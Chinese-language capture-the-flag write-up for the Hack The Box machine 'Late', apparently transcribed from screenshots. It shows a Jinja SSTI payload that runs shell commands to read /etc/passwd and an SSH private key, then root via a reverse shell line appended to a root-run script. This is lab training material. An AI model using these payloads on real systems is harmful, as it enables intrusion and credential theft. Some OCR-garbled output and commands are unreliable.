Late

Nmap 扫描结果如下所示:

```
-(kali⊛kali)-[~/Desktop/HTB/late]
$ sudo nmap -sC -sV 10.10.11.156
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 10:01 EDT
Nmap scan report for images.late.htb (10.10.11.156)
Host is up (0.45s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
                     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
| ssh-hostkey:
   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
   256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Image Reader
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 22.59 seconds
```

修改/etc/hosts:

```
(kali® kali)-[~/Desktop/HTB/late]
$ cat /etc/hosts
10.10.11.156   images.late.htb
127.0.0.1   localhost
127.0.1.1   kali

# The following lines are desirable for IPv6 capable hosts
::1   localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```



Convert image to text with Flask

If you want to turn an image into a text document, you came to the right place.	
Convert your image now!	
Choose file	Browse
SCAN IMAGE	

可以上传图片,搜索得知有SSTI的漏洞,构造图片:

得到结果如下:

```
1  Opn » + Bf Festuxe
3 1(b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2
 nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:ga
 sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbir
 8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10
 uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/
 nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:
 nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting Syster
 gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-n
 100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin\nsystemd-resolve:x
 Resolver,..:/run/systemd/resolve:/usr/sbin/nologin\nsyslog:x:102:106::/home/syslog:/usr/sbin/nologi
 103:107::/nonexistent:/usr/sbin/nologin\n apt:x:104:65534::/nonexistent:/usr/sbin/nologin\nlxd:x:1
 lxd/:/bin/false\nuuidd:x:106:110::/run/uuidd:/usr/sbin/nologin\ndnsmasq:x:107:65534:dnsmasq,,,:/v
 nologin\nlandscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:109:1::/var/cache/p
 false\nsshd:x:110:65534::/run/sshd:/usr/sbin/nologin\nsvc_acc:x:1000:1000:Service Account:/home
 bash\nrtkit:x:111:114:RealtimeKit,,,:/proc:/usr/sbin/nologin\nusbmux:x:112:46:usbmux daemon,,,:/
 sbin/nologin\navahi:x:113:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin\ncu
 114:117:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\nsaned:x:115:11
 sbin/nologin\ncolord:x:116:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nolog
 117:121:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin\ngeoclue:x:118:123::/var/lib/geoclue
 nologin\nsmmta:x:119:124:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin\nsmmsp:x:120
 Program,,,:/var/lib/sendmail:/usr/sbin/nologin\n', None)
5 Save $ -o x
6
```

再次构造图片如下:

```
1{{(''.__class__).__mro__[1].__subclasses__()[249]("cat ~/.ssh/id_rsa", stdout=-1, shell=True).communicate() }}
2
3
4
5
6
7
```

得到结果如下:

```
- (bill bill) - (Poomloads)
- St results \(X)\XIST \(X)\
```

利用密钥获得shell:

```
-(kali®kali)-[~/Desktop/HTB/late]
└_$ ssh svc_acc@10.10.11.156 -i <u>id rsa</u>
The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established.
ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts.
WARNING: UNPROTECTED PRIVATE KEY FILE!
മ
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
svc_acc@10.10.11.156's password:
  -(kali⊛kali)-[~/Desktop/HTB/late]
└─$ chmod 600 <u>id rsa</u>
  -(kali⊕kali)-[~/Desktop/HTB/late]
ssh svc_acc@10.10.11.156 -i <u>id rsa</u>
svc_acc@late:~$
  —(kali⊛kali)-[~/Desktop/HTB/late]
└─$ ssh svc_acc@10.10.11.156 -i <u>id rsa</u>
svc_acc@late:~$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
svc_acc@late:~$ ls
app user.txt
svc_acc@late:~$ cat user.txt
27eb612cced495e6c0e0fd27da69f140
svc_acc@late:~$
```

然后输入sudo -l想办法提权,他要我输入密码,那我只好用linpeas.sh这种方法:

```
Interesting writable files owned by me or writable by everyone (not in Home) (max 500) https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/svc_acc
/run/lock
/run/screen
/run/sendmail/mta/s
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/systemd
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/tmux-1000
/tmp/.X11-unix
#)You_can_write_even_more_files_inside_last_directory
                    /ssh-alert.sh
/var/crash
            lxcfs/cgroup/memory/cgroup.event_control
/var
/var
            lxcfs/cgroup/memory/system.slice/accounts-daemon.service/cgroup.event_control
            lxcfs/cgroup/memory/system.slice/atd.service/cgroup.event_control
lxcfs/cgroup/memory/system.slice/avahi-daemon.service/cgroup.event_control
lxcfs/cgroup/memory/system.slice/boot.mount/cgroup.event_control
/var
/var
            lxcfs/cgroup/memory/system.slice/cgroup.event_control
/var
/var
            lxcfs/cgroup/memory/system.slice/cloud-init.service/cgroup.event_control
/var
            lxcfs/cgroup/memory/system.slice/cron.service/cgroup.event_control
/var
            lxcfs/cgroup/memory/system.slice/dbus.service/cgroup.event_control
lxcfs/cgroup/memory/system.slice/dev-hugepages.mount/cgroup.event_control
/var
            lxcfs/cgroup/memory/system.slice/dev-mapper-ubuntux2dx2dvgx2dswap.swap/cgroup.event_control
```

```
svc_acc@late:~$ cd /usr/local/sbin
svc_acc@late:/usr/local/sbin$ ls -la
total 12
drwxr-xr-x 2 svc_acc svc_acc 4096 Jul 25 14:38 .
drwxr-xr-x 10 root
                            4096 Aug 6 2020 ..
                    root
-rwxr-xr-x 1 svc_acc svc_acc 433 Jul 25 14:38 ssh-alert.sh
svc_acc@late:/usr/local/sbin$ cat ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
       User:
                    $PAM_USER
       User IP Host: $PAM_RHOST
       Service:
                   $PAM_SERVICE
                    $PAM_TTY
                     `date`
       Date:
                    `uname -a`
       Server:
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
svc_acc@late:/usr/local/sbin$
```

把反弹shell的payload加载到ssh-alert.sh中:

```
svc_acc@late:/usr/local/sbin$ vim file.txt
svc_acc@late:/usr/local/sbin$ cat /usr/local/sbin/file.txt >> /usr/local/sbin/ssh-alert.sh
svc_acc@late:/usr/local/sbin$ cat ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
                    $PAM_USER
        User:
        User IP Host: $PAM_RHOST
                    $PAM_SERVICE
        Service:
                     $PAM_TTY
        TTY:
       Date:
                     `date
       Server:
                    `uname -a`
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
bash -i >8 /dev/tcp/10.10.16.6/4444 0>81
```

然后再重新ssh连接root:

```
(kali⊕ kali)-[~/Desktop]
s nc -nvlp 4444
listening on [any] 4444 ...
whoami
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.156] 48318
bash: cannot set terminal process group (18704): Inappropriate ioctl for device
bash: no job control in this shell
root@late:/# whoami
root
root@late:/# ls
boot
cdrom
dev
home
initrd.img
initrd.img.old
lib64
lost+found
media
mnt
opt
proc
root
sbin
sys
tmp
vmlinuz
vmlinuz.old
root@late:/# cd root
cd rootls
root@late:/root# ls
root.txt
scripts
root@late:/root# cat root.txt
cat root.txt
002732f9b0b6bd00febdc01aa1fe6caf
root@late:/root#
```